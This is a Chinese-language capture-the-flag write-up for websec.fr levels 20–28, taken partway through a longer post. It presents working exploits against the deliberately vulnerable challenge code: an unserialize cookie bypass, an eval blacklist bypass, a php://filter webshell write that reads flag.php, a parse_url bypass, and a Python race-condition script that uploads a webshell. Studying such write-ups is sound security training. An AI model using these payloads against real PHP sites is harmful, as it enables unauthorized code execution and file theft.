1
C:4:"Flag":23:{s:15:"My private data";}

可以看到成功反序列化了,仅仅给出了一个Warning

1
2
3
4
5
6
7
8
9
10
11
12
ht@TIANJI:/mnt/c/Users/HT/Desktop$ php -a                                                   
Interactive mode enabled

php > var_dump(unserialize('C:4:"Flag":23:{s:15:"My private data";}'));
PHP Warning: Class __PHP_Incomplete_Class has no unserializer in php shell code on line 1
object(__PHP_Incomplete_Class)#1 (1) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "Flag"
}
php > exit
ht@TIANJI:/mnt/c/Users/HT/Desktop$ echo -n 'C:4:"Flag":23:{s:15:"My private data";}' | base64
Qzo0OiJGbGFnIjoyMzp7czoxNToiTXkgcHJpdmF0ZSBkYXRhIjt9

获取flag:

1
2
3
4
5
ht@TIANJI:/mnt/c/Users/HT/Desktop$ curl -b "data=Qzo0OiJGbGFnIjoyMzp7czoxNToiTXkgcHJpdmF0ZSBkYXRhIjt9" https://websec.fr/level20/index.php | grep -Eo "WEBSEC{.*}"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2160 0 2160 0 0 1177 0 --:--:-- 0:00:01 --:--:-- 1177
WEBSEC{CVE-2012-5692_was_a_lof_of_phun_thanks_to_i0n1c_but_this_was_not_the_only_bypass}

level22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php 
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL ^ E_DEPRECATED);

if (isset ($_GET['code']) && is_string ($_GET['code'])) {
$code = substr ($_GET['code'], 0, 21);
} else {
$code = "'I hate PHP'";
}

class A {
public $pub;
protected $pro ;
private $pri;

function __construct($pub, $pro, $pri) {
$this->pub = $pub;
$this->pro = $pro;
$this->pri = $pri;
}
}

include 'file_containing_the_flag_parts.php';
$a = new A($f1, $f2, $f3);

unset($f1);
unset($f2);
unset($f3);

$funcs_internal = get_defined_functions()['internal'];

/* lets allow some secure funcs here */
unset ($funcs_internal[array_search('strlen', $funcs_internal)]);
unset ($funcs_internal[array_search('print', $funcs_internal)]);
unset ($funcs_internal[array_search('strcmp', $funcs_internal)]);
unset ($funcs_internal[array_search('strncmp', $funcs_internal)]);

$funcs_extra = array ('eval', 'include', 'require', 'function');
$funny_chars = array ('\.', '\+', '-', '"', ';', '`', '\[', '\]');
$variables = array ('_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_FILES', '_ENV', 'HTTP_ENV_VARS', '_SESSION', 'GLOBALS');

$blacklist = array_merge($funcs_internal, $funcs_extra, $funny_chars, $variables);

$insecure = false;
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
$insecure = true;
break;
}
}

if ($insecure) {
echo 'Insecure code detected!';
} else {
eval ("echo $code;");
}
?>

这里我们可以看到虽然过滤了很多函数,但是$blacklist变量并没有过滤。通过level14中php的trick即可执行任意函数。通过代码可知,flag应该是在$a 变量里边,所以可以通过var_dump($a)获取flag。

首先获取var_dump函数的位置。

1
2
3
4
5
for i in {1..1365}; do  
echo -e "$i: " && \
curl --silent http://websec.fr/level22/index.php?code=%24blacklist%7B$i%7D | \
grep -oP "([\s\S]+)(?:<\/pre>)"
done

最终发现var_dump$blacklist{579}

payload:

\$blacklist{579}($a)

结果:

1
2
3
4
5
6
7
8
object(A)#1 (3) {
["pub"]=>
string(17) "WEBSEC{But_I_was_"
["pro":protected]=>
string(18) "told_that_OOP_was_"
["pri":"A":private]=>
string(22) "flawless_and_stuff_:<}"
}

level24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);

session_start();

include 'clean_up.php';

/* periodic cleanup */
foreach (glob("./uploads/*") as $file) {
if (is_file($file)) {
unlink($file);
} else {
if (time() - filemtime($file) >= 60 * 60 * 24 * 7) {
Delete($file);
}
}
}

$upload_dir = sprintf("./uploads/%s/", session_id());
@mkdir($upload_dir, 0755, true);

/* sandboxing ! */
chdir($upload_dir);
ini_set('open_basedir', '.');

$p = "list";
$data = "";
$filename = "";

if (isset($_GET['p']) && isset($_GET['filename']) ) {
$filename = $_GET['filename'];
if ($_GET['p'] === "edit") {
$p = "edit";
if (isset($_POST['data'])) {
$data = $_POST['data'];
if (strpos($data, '<?') === false && stripos($data, 'script') === false) { # no interpretable code please.
file_put_contents($_GET['filename'], $data);
die ('<meta http-equiv="refresh" content="0; url=.">');
}
} elseif (file_exists($_GET['filename'])){
$data = file_get_contents($_GET['filename']);
}
}
}
?>

这里由于filename可控,可以令filename格式为:php://filter/convert.base64-decode/resource=shell.php,再将base64_encode(payload)写入shell.php中,即可在执行$data = file_get_contents($_GET['filename']);执行。

payload:

1
2
php > echo base64_encode("<?php echo file_get_contents('../../flag.php'); ?>");
PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnLi4vLi4vZmxhZy5waHAnKTsgPz4=

filename:

1
php://filter/convert.base64-decode/resource=shell.php

测试如下:

1
2
3
4
5
6
7
8
9
ht@TIANJI:~/temp$ php -a                                                           
Interactive mode enabled
php > $data = base64_encode("<?php echo 1; ?>"); file_put_contents("php://filter/convert.base64-decode/resource=test1.php", $data);
php > exit
ht@TIANJI:~/temp$ ls
test1.php
ht@TIANJI:~/temp$ cat test1.php
<?php echo 1; ?>
ht@TIANJI:~/temp$

level25

1
2
3
4
5
6
7
8
9
<?php
parse_str(parse_url($_SERVER['REQUEST_URI'])['query'], $query);
foreach ($query as $k => $v) {
if (stripos($v, 'flag') !== false)
die('You are not allowed to get the flag, sorry :/');
}

include $_GET['page'] . '.txt';
?>

parse_url绕过:

payload:

curl http://websec.fr///level25/index.php?page=flag | grep -Eo “WEBSEC{.*}”

level28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if(isset($_POST['submit'])) {
if ($_FILES['flag_file']['size'] > 4096) {
die('Your file is too heavy.');
}
$filename = md5($_SERVER['REMOTE_ADDR']) . '.php';

$fp = fopen($_FILES['flag_file']['tmp_name'], 'r');
$flagfilecontent = fread($fp, filesize($_FILES['flag_file']['tmp_name']));
@fclose($fp);

file_put_contents($filename, $flagfilecontent);
if (md5_file($filename) === md5_file('flag.php') && $_POST['checksum'] == crc32($_POST['checksum'])) {
include($filename); // it contains the `$flag` variable
} else {
$flag = "Nope, $filename is not the right file, sorry.";
sleep(1); // Deter bruteforce
}

unlink($filename);
}
?>

条件竞争:

1.php:

1
2
<?php
var_dump(file_get_contents("flag.php"));

上传文件:

curl https://websec.fr/level28/index.php -F “flag_file=@1.php“ -F “submit=1”

然后不断访问: https://websec.fr/level28/53fdb7c766848a88eabc80476d3e42c6.php 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python
# coding: utf-8

from requests import *
from multiprocessing import Process
import time

md5ip = '70d75feefefdefaa925f4dac3179fec3'
webshell = 'payload.php'

def uploadWebshell():
url = 'https://websec.fr/level28/index.php'
# url = 'http://3dc.oa.to:4000/15no47m1'

files = {'flag_file': (webshell, open(webshell, 'rb'), 'application/octet-stream')}
data = {'checksum[]': '123', 'submit': 'Upload and check'}

r = post(url, files = files, data = data)
print '[*] your webshell successfully uploaded!'
# print r.text


def executeWebshell():
for _ in range(1):
time.sleep(0.1)
url = 'https://websec.fr/level28/{0}.php'.format(md5ip)
r = get(url)
print r.text

def main():
p1 = Process(target = uploadWebshell)
p2 = Process(target = executeWebshell)

p1.start()
p2.start()

if __name__ == '__main__':
main()
CATALOG
  1. 1. level1
  2. 2. level2
  3. 3. level3
  4. 4. level4
  5. 5. level7
  6. 6. level9
  7. 7. level8
  8. 8. level10
  9. 9. level11
  10. 10. level12
  11. 11. level14
  12. 12. level15
  13. 13. level17
  14. 14. level18
  15. 15. level20
  16. 16. level22
  17. 17. level24
  18. 18. level25
  19. 19. level28